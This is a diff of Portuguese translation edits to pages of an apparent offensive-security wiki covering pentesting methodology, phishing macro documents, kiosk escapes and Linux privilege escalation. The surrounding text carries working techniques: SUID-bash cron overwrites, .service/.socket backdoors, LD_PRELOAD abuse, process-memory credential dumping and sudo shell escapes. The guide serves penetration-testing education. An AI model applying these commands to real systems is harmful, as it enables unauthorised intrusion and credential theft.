seria muito útil](../generic-hacking/reverse-shells/index.html). -Especialmente no Windows, você pode precisar de ajuda para **evitar antivírus**: [**Verifique esta página**](../windows-hardening/av-bypass.md)**.**\\ +Especialmente no Windows, você pode precisar de ajuda para **evitar antivírus**: [**Verifique esta página**](../windows-hardening/av-bypass.md)**.** ### 8- Dentro @@ -72,7 +72,7 @@ Se você tiver problemas com o shell, pode encontrar aqui uma pequena **compila ### **9 -** [**Exfiltração**](../generic-hacking/exfiltration.md) -Você provavelmente precisará **extrair alguns dados da vítima** ou até mesmo **introduzir algo** (como scripts de escalonamento de privilégios). **Aqui você tem um** [**post sobre ferramentas comuns que você pode usar com esses propósitos**](../generic-hacking/exfiltration.md)**.** +Provavelmente, você precisará **extrair alguns dados da vítima** ou até mesmo **introduzir algo** (como scripts de escalonamento de privilégios). **Aqui você tem um** [**post sobre ferramentas comuns que você pode usar com esses propósitos**](../generic-hacking/exfiltration.md)**.** ### **10- Escalonamento de Privilégios** @@ -87,7 +87,7 @@ Você também deve verificar estas páginas sobre como **Windows funciona**: - Como [**roubar credenciais**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) no Windows - Alguns truques sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html) -**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios local em Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalonamento de Privilégios locais no Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Privesc de Domínio** @@ -103,7 +103,7 @@ Encontre aqui diferentes maneiras de [**extrair senhas no Windows**](https://git #### 11.2 - Persistência **Use 2 ou 3 tipos diferentes de mecanismos de persistência para que você não precise explorar o sistema novamente.**\ -**Aqui você pode encontrar alguns** [**truques de persistência em active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.** +**Aqui você pode encontrar alguns** [**truques de persistência no Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.** TODO: Completar persistência Post em Windows & Linux @@ -120,13 +120,13 @@ Verifique também a página sobre [**NTLM**](../windows-hardening/ntlm/index.htm #### **Exploração** -- [**Exploração Básica em Linux**](broken-reference/index.html) -- [**Exploração Básica em Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +- [**Exploração Básica de Linux**](broken-reference/index.html) +- [**Exploração Básica de Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [**Ferramentas básicas de exploração**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html) #### [**Python Básico**](python/index.html) -#### **Truques de Cripto** +#### **Truques de Criptografia** - [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) - [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 56c8cdc0d..a41f47449 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,4 +1,4 @@ -# Arquivos e Documentos de Phishing +# Phishing Files & Documents {{#include ../../banners/hacktricks-training.md}} @@ -19,13 +19,13 @@ DOCX files que referenciam um modelo remoto (Arquivo – Opções – Suplemento ### Carregamento de Imagem Externa Vá para: _Inserir --> Partes Rápidas --> Campo_\ -&#xNAN;_**Categorias**: Links e Referências, **Nomes de arquivo**: includePicture, e **Nome do arquivo ou URL**:_ http://\/whatever +_**Categorias**: Links e Referências, **Nomes de Campo**: includePicture, e **Nome do Arquivo ou URL**:_ http://\/whatever ![](<../../images/image (155).png>) ### Backdoor de Macros -É possível usar macros para executar código arbitrário do documento. +É possível usar macros para executar código arbitrário a partir do documento. #### Funções de Autoload @@ -71,7 +71,7 @@ Vá para **Arquivo > Informações > Inspecionar Documento > Inspecionar Documen #### Extensão do Documento Quando terminar, selecione o dropdown **Salvar como tipo**, mude o formato de **`.docx`** para **Word 97-2003 `.doc`**.\ -Faça isso porque você **não pode salvar macros dentro de um `.docx`** e há um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone da miniatura tem um enorme `!` e alguns gateways web/email os bloqueiam completamente). Portanto, essa **extensão legada `.doc` é o melhor compromisso**. +Faça isso porque você **não pode salvar macros dentro de um `.docx`** e há um **estigma** **em torno** da extensão habilitada para macros **`.docm`** (por exemplo, o ícone da miniatura tem um enorme `!` e alguns gateways web/email os bloqueiam completamente). Portanto, esta **extensão legada `.doc` é o melhor compromisso**. #### Geradores de Macros Maliciosas @@ -142,7 +142,7 @@ self.close Existem várias maneiras de **forçar a autenticação NTLM "remotamente"**, por exemplo, você poderia adicionar **imagens invisíveis** a e-mails ou HTML que o usuário acessará (até mesmo HTTP MitM?). Ou enviar à vítima o **endereço de arquivos** que irão **disparar** uma **autenticação** apenas por **abrir a pasta.** -**Verifique essas ideias e mais nas páginas a seguir:** +**Confira essas ideias e mais nas páginas a seguir:** {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md diff --git a/src/hardware-physical-access/escaping-from-gui-applications.md b/src/hardware-physical-access/escaping-from-gui-applications.md index 16cb2e3e7..811b4ab3b 100644 --- a/src/hardware-physical-access/escaping-from-gui-applications.md +++ b/src/hardware-physical-access/escaping-from-gui-applications.md @@ -8,10 +8,10 @@ | Componente | Ação | | --------------| -----------------------------------------------------------------| -| Botão de energia | Desligar e ligar o dispositivo pode expor a tela de início | +| Botão de energia | Desligar e ligar o dispositivo novamente pode expor a tela inicial | | Cabo de energia | Verifique se o dispositivo reinicia quando a energia é cortada brevemente | -| Portas USB | Conectar teclado físico com mais atalhos | -| Ethernet | Escaneamento de rede ou sniffing pode permitir mais exploração | +| Portas USB | Conecte um teclado físico com mais atalhos | +| Ethernet | A varredura de rede ou sniffing pode permitir uma exploração adicional | ## Verifique as possíveis ações dentro da aplicação GUI @@ -33,7 +33,7 @@ Você deve verificar se pode: ### Execução de Comandos -Talvez **usando a opção `Abrir com`** você possa abrir/executar algum tipo de shell. +Talvez **usando uma opção `Abrir com`** você possa abrir/executar algum tipo de shell. #### Windows @@ -53,7 +53,7 @@ _bash, sh, zsh..._ Mais aqui: [https://gtfobins.github.io/](https://gtfobins.git - **Atalhos**: CTRL+N (abrir nova sessão), CTRL+R (Executar Comandos), CTRL+SHIFT+ESC (Gerenciador de Tarefas), Windows+E (abrir explorer), CTRL-B, CTRL-I (Favoritos), CTRL-H (Histórico), CTRL-L, CTRL-O (Arquivo/Abrir Diálogo), CTRL-P (Diálogo de Impressão), CTRL-S (Salvar Como) - Menu Administrativo Oculto: CTRL-ALT-F8, CTRL-ESC-F9 - **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -- **Caminhos UNC**: Caminhos para conectar a pastas compartilhadas. Você deve tentar se conectar ao C$ da máquina local ("\\\127.0.0.1\c$\Windows\System32") +- **Caminhos UNC**: Caminhos para conectar a pastas compartilhadas. Você deve tentar conectar ao C$ da máquina local ("\\\127.0.0.1\c$\Windows\System32") - **Mais caminhos UNC:** | UNC | UNC | UNC | @@ -74,7 +74,7 @@ Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/pro Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) -### Acessando o sistema de arquivos pelo navegador +### Acessando o sistema de arquivos a partir do navegador | CAMINHO | CAMINHO | CAMINHO | CAMINHO | | --------------------- | ------------------- | --------------------- | --------------------- | @@ -126,7 +126,7 @@ Editor de registro: [https://sourceforge.net/projects/uberregedit/](https://sour #### Protocolo Shell -Digite essas URLs para obter uma visualização do Explorer: +Digite estas URLs para obter uma visualização do Explorer: - `shell:Administrative Tools` - `shell:DocumentsLibrary` @@ -159,7 +159,7 @@ Verifique esta página para mais informações: [https://www.howtohaven.com/syst Versões de backup do iKat: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) Crie um diálogo comum usando JavaScript e acesse o explorador de arquivos: `document.write('')`\ Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -178,14 +178,14 @@ Fonte: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811 - Deslize rapidamente 1 dedo do centro da tela para a direita ou esquerda: Para mudar para o próximo/último aplicativo - Pressione e segure o botão On/**Off**/Sleep no canto superior direito do **iPad +** Mova o controle deslizante para **desligar** completamente para a direita: Para desligar - Pressione o botão On/**Off**/Sleep no canto superior direito do **iPad e o botão Home por alguns segundos**: Para forçar um desligamento completo -- Pressione o botão On/**Off**/Sleep no canto superior direito do **iPad e o botão Home rapidamente**: Para tirar uma captura de tela que aparecerá no canto inferior esquerdo da tela. Pressione ambos os botões ao mesmo tempo muito rapidamente, pois se você segurá-los por alguns segundos, um desligamento completo será realizado. +- Pressione o botão On/**Off**/Sleep no canto superior direito do **iPad e o botão Home rapidamente**: Para tirar uma captura de tela que aparecerá no canto inferior esquerdo da tela. Pressione ambos os botões ao mesmo tempo muito brevemente, pois se você segurá-los por alguns segundos, um desligamento completo será realizado. ### Atalhos -Você deve ter um teclado de iPad ou um adaptador de teclado USB. Apenas atalhos que podem ajudar a escapar da aplicação serão mostrados aqui. +Você deve ter um teclado de iPad ou um adaptador de teclado USB. Apenas atalhos que podem ajudar a escapar do aplicativo serão mostrados aqui. | Tecla | Nome | -| --- | ------------ | +| ----- | ------------ | | ⌘ | Comando | | ⌥ | Opção (Alt) | | ⇧ | Shift | @@ -208,7 +208,7 @@ Esses atalhos são para as configurações visuais e de som, dependendo do uso d | F7 | Voltar uma música | | F8 | Reproduzir/pausar | | F9 | Pular música | -| F10 | Mudo | +| F10 | Silenciar | | F11 | Diminuir volume | | F12 | Aumentar volume | | ⌘ Espaço | Exibir uma lista de idiomas disponíveis; para escolher um, toque novamente na barra de espaço. | @@ -217,29 +217,29 @@ Esses atalhos são para as configurações visuais e de som, dependendo do uso d | Atalho | Ação | | ------------------------------------------------ | ----------------------------------------------------- | -| ⌘H | Ir para a tela inicial | -| ⌘⇧H (Command-Shift-H) | Ir para a tela inicial | -| ⌘ (Espaço) | Abrir Spotlight | -| ⌘⇥ (Command-Tab) | Listar os últimos dez aplicativos usados | -| ⌘\~ | Ir para o último aplicativo | +| ⌘H | Ir para a Tela Inicial | +| ⌘⇧H (Command-Shift-H) | Ir para a Tela Inicial | +| ⌘ (Espaço) | Abrir Spotlight | +| ⌘⇥ (Command-Tab) | Listar os últimos dez aplicativos usados | +| ⌘\~ | Ir para o último aplicativo | | ⌘⇧3 (Command-Shift-3) | Captura de tela (paira no canto inferior esquerdo para salvar ou agir sobre ela) | -| ⌘⇧4 | Captura de tela e abri-la no editor | -| Pressione e segure ⌘ | Lista de atalhos disponíveis para o aplicativo | -| ⌘⌥D (Command-Option/Alt-D) | Abre o dock | -| ^⌥H (Control-Option-H) | Botão Home | -| ^⌥H H (Control-Option-H-H) | Mostrar barra de multitarefa | -| ^⌥I (Control-Option-i) | Seletor de itens | -| Escape | Botão Voltar | -| → (Seta para a Direita) | Próximo item | -| ← (Seta para a Esquerda) | Item anterior | -| ↑↓ (Seta para Cima, Seta para Baixo) | Toque simultaneamente no item selecionado | -| ⌥ ↓ (Option-Seta para Baixo) | Rolagem para baixo | -| ⌥↑ (Option-Seta para Cima) | Rolagem para cima | -| ⌥← ou ⌥→ (Option-Seta para a Esquerda ou Option-Seta para a Direita) | Rolagem para a esquerda ou para a direita | -| ^⌥S (Control-Option-S) | Ativar ou desativar a fala do VoiceOver | -| ⌘⇧⇥ (Command-Shift-Tab) | Alternar para o aplicativo anterior | -| ⌘⇥ (Command-Tab) | Voltar para o aplicativo original | -| ←+→, então Option + ← ou Option+→ | Navegar pelo Dock | +| ⌘⇧4 | Captura de tela e abri-la no editor | +| Pressione e segure ⌘ | Lista de atalhos disponíveis para o aplicativo | +| ⌘⌥D (Command-Option/Alt-D) | Abre o dock | +| ^⌥H (Control-Option-H) | Botão Home | +| ^⌥H H (Control-Option-H-H) | Mostrar a barra de multitarefa | +| ^⌥I (Control-Option-i) | Seletor de itens | +| Escape | Botão Voltar | +| → (Seta para a Direita) | Próximo item | +| ← (Seta para a Esquerda) | Item anterior | +| ↑↓ (Seta para Cima, Seta para Baixo) | Toque simultaneamente no item selecionado | +| ⌥ ↓ (Option-Seta para Baixo) | Rolagem para baixo | +| ⌥↑ (Option-Seta para Cima) | Rolagem para cima | +| ⌥← ou ⌥→ (Option-Seta para a Esquerda ou Option-Seta para a Direita) | Rolagem para a esquerda ou para a direita | +| ^⌥S (Control-Option-S) | Ativar ou desativar a fala do VoiceOver | +| ⌘⇧⇥ (Command-Shift-Tab) | Alternar para o aplicativo anterior | +| ⌘⇥ (Command-Tab) | Voltar para o aplicativo original | +| ←+→, então Option + ← ou Option+→ | Navegar pelo Dock | #### Atalhos do Safari diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index bef05d5e9..7404ccd8d 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -18,7 +18,7 @@ Se você **tiver permissões de escrita em qualquer pasta dentro da variável `P ```bash echo $PATH ``` -### Informações do ambiente +### Env info Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? ```bash @@ -144,7 +144,7 @@ Enumere binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). +Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` @@ -158,7 +158,7 @@ rpm -qa #Centos ``` Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. -> [!NOTE] > _Observe que esses comandos mostrarão muitas informações que, na maioria das vezes, serão inúteis; portanto, é recomendável usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos._ +> [!NOTE] > _Observe que esses comandos mostrarão muitas informações que, na maioria das vezes, serão inúteis, portanto, é recomendável usar algumas aplicações como OpenVAS ou similares que verificarão se alguma versão de software instalada é vulnerável a exploits conhecidos._ ## Processos @@ -171,14 +171,14 @@ top -n 1 Sempre verifique se há possíveis [**depuradores electron/cef/chromium**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ Além disso, **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever alguém. -### Monitoramento de Processos +### Monitoramento de processos Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis que estão sendo executados com frequência ou quando um conjunto de requisitos é atendido. -### Memória do Processo +### Memória do processo Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ -Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\ +Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso é geralmente mais útil quando você já é root e deseja descobrir mais credenciais.\ No entanto, lembre-se de que **como um usuário regular, você pode ler a memória dos processos que possui**. > [!WARNING] @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um dado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereços virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** arquivo pseudo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. +Para um dado ID de processo, **maps mostra como a memória está mapeada dentro do espaço de endereços virtual desse processo**; também mostra as **permissões de cada região mapeada**. O **mem** pseudo arquivo **expondo a memória dos processos**. A partir do arquivo **maps**, sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essas informações para **procurar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. ```bash procdump() ( @@ -334,7 +334,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron usando um script com um curinga (Injeção de Curinga) +### Cron usando um script com um caractere curinga (Injeção de Caractere Curiga) Se um script executado pelo root tiver um “**\***” dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo: ```bash @@ -350,13 +350,13 @@ wildcards-spare-tricks.md ### Sobrescrita de script cron e symlink -Se você **pode modificar um script cron** executado pelo root, você pode obter um shell muito facilmente: +Se você **pode modificar um script cron** executado pelo root, pode obter um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed /tmp/bash -p ``` -Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil deletar essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você. +Se o script executado pelo root usa um **diretório onde você tem acesso total**, talvez seja útil excluir essa pasta e **criar um diretório symlink para outro** que sirva um script controlado por você. ```bash ln -d -s
``` @@ -380,7 +380,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ +Verifique se você pode escrever em algum arquivo `.service`, se puder, você **poderia modificá-lo** para que **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise esperar até que a máquina seja reiniciada).\ Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** ### Binários de serviço graváveis @@ -446,7 +446,7 @@ Os sockets podem ser configurados usando arquivos `.socket`. **Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.) -- `Accept`: Aceita um argumento booleano. Se **true**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é false**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`. +- `Accept`: Aceita um argumento booleano. Se **verdadeiro**, uma **instância de serviço é criada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **falso**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é falso**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma maneira que seja adequada para `Accept=no`. - `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo. - `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente. - `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. @@ -454,7 +454,7 @@ Os sockets podem ser configurados usando arquivos `.socket`. ### Arquivos .socket graváveis Se você encontrar um arquivo `.socket` **gravável**, pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes que o socket seja criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ -&#xNAN;_Note que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_ +_Note que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_ ### Sockets graváveis @@ -536,7 +536,7 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no ### Outros -Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`** você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver escutando em uma porta** você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver ouvindo em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Verifique **mais maneiras de escapar do docker ou abusar dele para escalar privilégios** em: @@ -564,13 +564,13 @@ runc-privilege-escalation.md D-Bus é um sofisticado **sistema de Comunicação Inter-Processos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos. +O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviço e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos. O D-Bus opera em um **modelo de permitir/negar**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política correspondentes. Essas políticas especificam interações com o barramento, permitindo potencialmente a escalada de privilégios através da exploração dessas permissões. Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto as políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas. ```xml @@ -612,7 +612,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Portas abertas +### Open ports Sempre verifique os serviços de rede em execução na máquina com a qual você não conseguiu interagir antes de acessá-la: ```bash @@ -694,7 +694,7 @@ Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiv ### $PATH -Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando uma porta dos fundos dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH. +Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH. ### SUDO e SUID @@ -814,7 +814,7 @@ Finalmente, **escalar privilégios** executando sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Um privesc semelhante pode ser explorado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -894,7 +894,7 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada [**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando. -O projeto coleta funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração. +O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -924,7 +924,7 @@ Requisitos para escalar privilégios: - `cat /proc/sys/kernel/yama/ptrace_scope` é 0 - `gdb` é acessível (você pode ser capaz de carregá-lo) -(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) +(Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou modificando permanentemente `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) @@ -1080,7 +1080,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null Em **versões antigas**, você pode **sequestar** algumas sessões de **shell** de um usuário diferente (**root**).\ Em **versões mais recentes**, você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. -### sequestro de sessões de tela +### Sequestro de sessões de tela **Listar sessões de tela** ```bash @@ -1126,7 +1126,7 @@ Verifique a **caixa de Valentine do HTB** para um exemplo. Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ Esse bug é causado ao criar uma nova chave ssh nesses sistemas operacionais, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh, você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Valores de configuração SSH interessantes +### Valores de configuração interessantes do SSH - **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. - **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. @@ -1147,23 +1147,23 @@ Especifica arquivos que contêm as chaves públicas que podem ser usadas para au ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`. +Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`. ### ForwardAgent/AllowAgentForwarding -O encaminhamento de agente SSH permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem senhas!) armazenadas em seu servidor. Assim, você poderá **pular** via ssh **para um host** e, a partir daí, **pular para outro** host **usando** a **chave** localizada em seu **host inicial**. +O encaminhamento de agente SSH permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem senhas!) paradas no seu servidor. Assim, você 